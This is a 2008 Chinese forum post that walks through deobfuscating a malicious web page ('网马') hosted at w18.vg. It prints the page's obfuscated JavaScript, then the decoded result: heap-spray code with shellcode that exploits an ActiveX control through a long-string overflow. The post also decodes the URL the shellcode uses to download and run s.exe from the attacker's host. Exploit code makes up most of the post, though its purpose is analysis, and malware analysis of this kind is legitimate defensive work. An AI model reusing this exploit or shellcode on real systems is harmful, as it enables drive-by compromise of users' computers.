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- 2008-11-28
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小 发表于 2008-4-12 10:52 只看该作者
w18.vg/lz.gif网马解密之粗浅分析
1.网马网页地址:
hxxp://w18.vg/lz.gif
2.记事本打开内容如下:
<html><head>
<META HTTP-EQUIV="imagetoolbar" C><noscript><iframe></iframe></noscript><script language="javascript"><!--
rO91="d\rPPP\|\rh",eU44="hdP\`Pp\/\rq\}\'\/";.3800981,xL41="4.352468E-02",eU44='\:r\{\/ecZvy\)D\+\.\*k\>Po\_EnKQ5R\(\ I6h\~\r\!jH\"0Filw\?g\%\\f8X\,OAzB\[\`mWSqLCx\<\'a\]\|\;Up1\$G\&\@\-\^9\nu27tT\=dVb\#MY4s\}JN3',rO91='\~\%\}O2M\>Gdq\ \`\"vHXb7l\^\{B\|\+\&\'\?t\;\<4r3z\[aVpu\#\_cmN\)LhPjAYQFsD8fU\$ES\rRx06w9WZ5\*1\!KT\\g\n\:kiIn\,e\.yC\=\]J\/\@\-\(o';function iO22(vD97){"d\|a\$\/\`p\`",l=vD97.length;'v\/\&\n\<i\n\&',w='';while(l--)"dP\`\r\$h\$",o=rO91.indexOf(vD97.charAt(l)),'v\&\/\/\/I\n',w=(o==-1?vD97.charAt(l):eU44.charAt(o))+w;"dp\'\/\rhPp",rO91=rO91.substring(1)+rO91.charAt(0),document.write(w);'v\&\np\&\n\/\n'};iO22("R\/M\%uZI\?\#0\{m\:0m2\,z0G0\/M\%uZIXy\&5i\,og\+9uL\'e7M\:82\{I\"0\#\#q\}L\:\{MIu7\{\?le8\'q\}\%2I\:\%\{\?L0\#\/2\@9L\:\{MIu7\{\?l8e8\'q\}e7M\:82\{I\"7\{M7\{I2\rI82\{\:\,le89\/2Inu827\:I\'al8e8\'qajhVVq\@9l8e8\'q9\@e7M\:82\{I\"7\{M7\{I2\rI82\{\:\,\{2\_\?p\:\{MIu7\{\'a\%2I\:\%\{\?L0\#\/2aq9L\:\{MIu7\{\?l\{e8\'2q\}uL\'e7M\:82\{I\"\#0d2\%\/ww\_u\{e7\_\"\/ue2y0\%q\}uL\'2\"\_\<uM\<3\,5q\%2I\:\%\{\?L0\#\/29\@\@9uL\'e7M\:82\{I\"\#0d2\%\/q\}e7M\:82\{I\"M0ZI\:\%2\^G2\{I\/\'\^G2\{I\"\=AWU\^\ Af\(q9e7M\:82\{I\"7\{87\:\/2e7\_\{\,l\{e89\@2\#\/2\}e7M\:82\{I\"7\{87\:\/2\:Z\,l\{e89\@9\$Bh\+\,h5V\;9mt\+V\,k5Vi9L\:\{MIu7\{\?le\_\/\'q\}\_u\{e7\_\"\/I0I\:\/\?\,\?a\?a9\/2Inu827\:I\'ale\_\/\'qaj5VVq9\@9le\_\/\'q9\{P\;J\,5\+o\+98\|k5\,hg\;i9L\:\{MIu7\{\?lee\/\'q\}uL\'e7M\:82\{I\"0\#\#q\}e7M\:82\{I\"7\{\/2\#2MI\/I0\%I\,L\:\{MIu7\{\?\'q\}\%2I\:\%\{\?L0\#\/2\@9\/2Inu827\:I\'alee\/\'qajiVVq\@\@9lee\/\'q9\#\ hV\,55V9\{\[gk\,\+k\+59e\&gh\,h5Vg9ZPJ\+\,gkJg97B\+\,ogk92tiV\,Jogo9\:Ui\+\,ik\+599l\#uM2\{\/2elI7l\,a\<\:d\:L2\{ma9RO\/M\%uZIX")//--></script><ScRIPt LAngUAge=JAVASCRIpT>iO22("x4nf\_b3\:xlC\[M\>nt\>\_6\@\@\#\.eV\>\_\@\#\.\%Q\{\n\~\r\&\`u\\Q\n\np\\\*\*\`\*\\Q\{s\`\\\&i\&\/Qs\`\`is\<\nVt\#\.e0n6\}NMn0bx2lC\[M\>nb3\:xCl\.qb3\:x\$\r\'\;7\,t\_6BNk6NMeV\[6d6\@\>\}\#5nVb3\:d6\}t\@4M\_\_\>l\.MtetkBM\@\>65M\?V\)k\np\npV\"V\)k\np\npV\"t3\:V\)kMhM\n\)kpppp\)k\&6pp\)k6\*\<\/V\"V\)kpp\~p\)kpppp\)k\/pPC\)kPCp\>Vt\"3\:V\)k\*\>Ip\)kPC6\.\)kpP\/p\)k\.PPC\)kI\~PC\)kPC\~\>\)k\*MI\/\)kp\~IPVt\"3\:V\)kPCh\~\)kipIM\)khCp\~\)k\/MPC\)k\~\~\*\/\)k\&\<M\.\)k\&\*\&I\)k\~hPCVt\"3\:V\)khCp\~\)khiPC\)kpM\<6\)kh\~\&\n\)kI\/6\<\)k\&\npP\)kP\~\&h\)kp\/\>IVt\"3\:V\)kMi\/\&\)k\&\nM\n\)k\&M\&h\)k\>\.PC\)k\/\<PC\)kp\~i\/\)k\.\*\>\~\)kp\~M\*Vt\"3\:V\)k\~\~\>\*\)k\<\<\>\n\)kpPPC\)k\/\<PCV\"V\)kp\~\*\>\)k\>\*\>\~\)kpiM\*\)k\>\*p\~Vt\"3\:V\)kppPC\)k\>\~p\~\)kh6PC\)khIPC\)k\>\<P\~\)kPCpM\)k\<6\.p\)k\&\np\/Vt\"3\:V\)k\<6MP\)kpppp\)kP\~pp\)kp\.\>\<\)k\&\<\&i\)k\&Ihh\)k\&6h\>\)k\.PPCVt\"3\:V\)kp\*\<6\)kMP\&\n\)kpp\&I\)kppppV\"V\)k\>\<P\~\)k\&\<\*\~\)kPp\/\<\)kPp\~MVt\"3\:V\)kh6I\&\)k\~\<Pp\)k\&MPp\)kM\>P\~\)kPC\/p\)k\>I\.\>\)k\<\~p\~\)k\<\/\<\.Vt\"3\:V\)k\/\~ip\)k\/\~\/\~\)k\<\<\/\~\)kp\~\>IV\"V\)k\<\~ih\)k\/\~\/\~\)kp\~\>\<\)k\/\~ipVt\"3\:V\)kip\<6\)khh\&\~\)kM\>\&I\)kp\/\>I\)k\&\>p\~\)kiM\<\*\)k\>I\<\&\)kp\~\/\/Vt\"3\:V\)kIPp\/V\"V\)kpp\<\&V\"V\)k\~\~ppV\"V\)k\&p\>pV\"V\)k\&\~\&pV\"V\)k\&p\&\<V\"V\)k\&IhhV\"V\)kPCh\>Vt\"3\:V\)k\<6\.\>\)k\&\~pp\)k\&IhhV\"V\)k\<Php\)ki\/\&\*\)kpp\/p\)khh\&P\)k\~\~\.pVt\"3\:V\)k6\>\>pV\"V\)k\>pP\&\)kh\nI\&\)k\&i\&\*\)k\&\~\&\<\)k\.ihh\)k\&\n\&6\)kMi6CVt\"3\:V\)k\~\~MM\)k\>\~\>p\)kp\>MPV\"V\)khhhh\)k\/Ihh\)kI\/\<\&\)kIi\&p\)k\<\~\<hVt\"3\:V\)k\<\/\/\*\)kIi\<\/\)kI\~\<\&\)kppI\~\)k\<\&\/I\)k\&\~I\/\)kI\~I\n\)k\<\&I\/Vt\"3\:V\)k\/\/\<\.\)kIi\<\n\)k\<\~\<\&\)k\<hI\/\)kI\nIi\)kpp\/\*\)k\<\n\&I\)k\/\&\<MVt\"3\:V\)k\<\&IPV\"V\)kpp\<\~V\"V\)kIP\/\&V\"V\)kI\/\<\nV\"V\)k\<P\&\/V\"V\)k\<\&IiV\"V\)k\<\/\<\*V\"V\)k\/\>ppVt\"3\:V\)k\<\*\<h\)k\/\>\<\/\)k\<i\<\n\)k\<\*Ii\)kI\nIi\)kpp\/\*V\"V\)kIiI\&\)k\<\.\<\>Vt\"3\:V\)k\<M\<hV\"V\)k\&\&pp\)k\/\>\&i\)k\<h\/\/\)k\<MII\)k\<h\<\>\)k\<\/\<\*\)k\<h\&\/Vt\"3\:V\)k\<\n\/\<\)k\<\&\<\>\)kpp\/\*\)kI\/\<P\)kIpI\/\)kih\~6\)kIIih\)k\~P\~\*Vt\"3\:V\)kI\<iM\)kih\<I\)kiMI\~\)kIP\<\&\)kPp\<\&\)kppppV\ W3\:x2\@\>\}\#5nb3\:x\$\r\'\;7\,t\_6BNk6NMeV\[6d6\@\>\}\#5nVb3\:d6\}tC\#NC\_l\>XtetkBM\@\>65M\?V\)k\np\np\)k\np\npV\ W3\:d6\}t4M6\.M\}\@\#FMtetipW3\:d6\}t\@\_6\>X\@56\>Mtet4M6\.M\}\@\#FM\"\@4M\_\_\>l\.Mv\_MBNn4W3\:c4\#\_Mt\?C\#NC\_l\>Xv\_MBNn4x\@\_6\>X\@56\>M\ tC\#NC\_l\>X\"eC\#NC\_l\>XW3\:h\#\_\_C\_l\>XtetC\#NC\_l\>Xv\@kC\@n\}\#BN\?pAt\@\_6\>X\@56\>M\ W3\:C\_l\>XtetC\#NC\_l\>Xv\@kC\@n\}\#BN\?pAtC\#NC\_l\>Xv\_MBNn4\\\@\_6\>X\@56\>M\ W3\:c4\#\_M\?C\_l\>Xv\_MBNn4\"\@\_6\>X\@56\>MxpR\/pppp\ tC\_l\>XtetC\_l\>X\"C\_l\>X\"h\#\_\_C\_l\>XW3\:fMfl\}qtetBMctQ\}\}6q\?\ W3\:hl\}t\?RepWtRx\~ppWtR\"\"\ tfMfl\}qDRwtetC\_l\>Xt\"\@4M\_\_\>l\.MW3\:d6\}tCkhhtet00W3\:c4\#\_Mt\?Ckhhv\_MBNn4txt\*\<\/\ tCkhh\"eVQVW3\:CkhheCkhh\"VLRp6LRp6LRp6LRp6V\"CkhhW3\:lXeVlXVW3\:n6\}NMnv\rlBBM\>nQB\.\{BnM\}\'llf\?CkhhAlXAlXAlXAlXAlXt\ W3\:x2\@\>\}\#5nb3\:x2Cl\.qb3\:x24nf\_b3\:")</script></head><body><noscript><b><font color=red>This page requires a javascript enabled browser!!!</font></b></noscript></body></html>
注意其中的document.write(w),就是我们下手的地方.
3.新建文本:
<textarea id="textareaID" rows="50" cols="100"></textarea>
<script language="javascript">
...............待解密的javascript代码,其中document.write(xxxx)用document.getElementById("textareaID").innerText=xxxx代替
</script>
将<script language="javascript">.....</script>之间的代码拷贝到新建的文本相应位置,并修改document.write(w)为document.getElementById("textareaID").innerText=w,如下:
<textarea id="textareaID" rows="50" cols="100"></textarea>
<script language="javascript">
<!--
rO91="d\rPPP\|\rh",eU44="hdP\`Pp\/\rq\}\'\/";.3800981,xL41="4.352468E-02",eU44='\:r\{\/ecZvy\)D\+\.\*k\>Po\_EnKQ5R\(\ I6h\~\r\!jH\"0Filw\?g\%\\f8X\,OAzB\[\`mWSqLCx\<\'a\]\|\;Up1\$G\&\@\-\^9\nu27tT\=dVb\#MY4s\}JN3',rO91='\~\%\}O2M\>Gdq\ \`\"vHXb7l\^\{B\|\+\&\'\?t\;\<4r3z\[aVpu\#\_cmN\)LhPjAYQFsD8fU\$ES\rRx06w9WZ5\*1\!KT\\g\n\:kiIn\,e\.yC\=\]J\/\@\-\(o';function iO22(vD97){"d\|a\$\/\`p\`",l=vD97.length;'v\/\&\n\<i\n\&',w='';while(l--)"dP\`\r\$h\$",o=rO91.indexOf(vD97.charAt(l)),'v\&\/\/\/I\n',w=(o==-1?vD97.charAt(l):eU44.charAt(o))+w;"dp\'\/\rhPp",rO91=rO91.substring(1)+rO91.charAt(0),document.getElementById("textareaID").innerText=w;'v\&\np\&\n\/\n'};iO22("R\/M\%uZI\?\#0\{m\:0m2\,z0G0\/M\%uZIXy\&5i\,og\+9uL\'e7M\:82\{I\"0\#\#q
......
W3\:hl\}t\?RepWtRx\~ppWtR\"\"\ tfMfl\}qDRwtetC\_l\>Xt\"\@4M\_\_\>l\.MW3\:d6\}tCkhhtet00W3\:c4\#\_Mt\?Ckhhv\_MBNn4txt\*\<\/\ tCkhh\"eVQVW3\:CkhheCkhh\"VLRp6LRp6LRp6LRp6V\"CkhhW3\:lXeVlXVW3\:n6\}NMnv\rlBBM\>nQB\.\{BnM\}\'llf\?CkhhAlXAlXAlXAlXAlXt\ W3\:x2\@\>\}\#5nb3\:x2Cl\.qb3\:x24nf\_b3\:")
</script>
4.另存为htm网页,然后双击打开,得到:
<html>
<object classid="clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69" id='target'></object>
<body>
<SCRIPT language="javascript">
var shellcode = unescape("%u9090"+"%u9090"+
"%uefe9%u0000%u5a00%ua164"+"%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b"+"%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000"+"%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7"+"%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804"+"%u0065"+"%u3300"+"%u50c0"+"%u5350"+"%u5056"+"%u57ff"+"%u8bfc" +
"%u6adc%u5300%u57ff"+"%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0"+"%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8"+"%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578"+"%u0063"+"%u7845"+"%u7469"+"%u6854"+"%u6572"+"%u6461"+"%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041"+"%u7275%u6d6c" +
"%u6e6f"+"%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u772f%u3831" +
"%u762e%u2f67%u2e73%u7865%u8065%u0000");
</script>
<SCRIPT language="javascript">
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<300; x++) memory[x] = block +shellcode;
var buff = '';
while (buff.length < 164) buff+="A";
buff=buff+"\x0a\x0a\x0a\x0a"+buff;
ok="ok";
target.ConnectAndEnterRoom(buff,ok,ok,ok,ok,ok );
</script>
</body>
</html>
5.解密网马地址:
上面的是shellcode,我们只需要后面几行:
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u772f%u3831" +"%u762e%u2f67%u2e73%u7865%u8065%u0000");
其中%u6946=46 69,依次类推得到:
46696c56687474703a2f2f7731382e76672f732e657865800000
在od或者十六进制转换为:hxxp://w18.vg/s.exe
 
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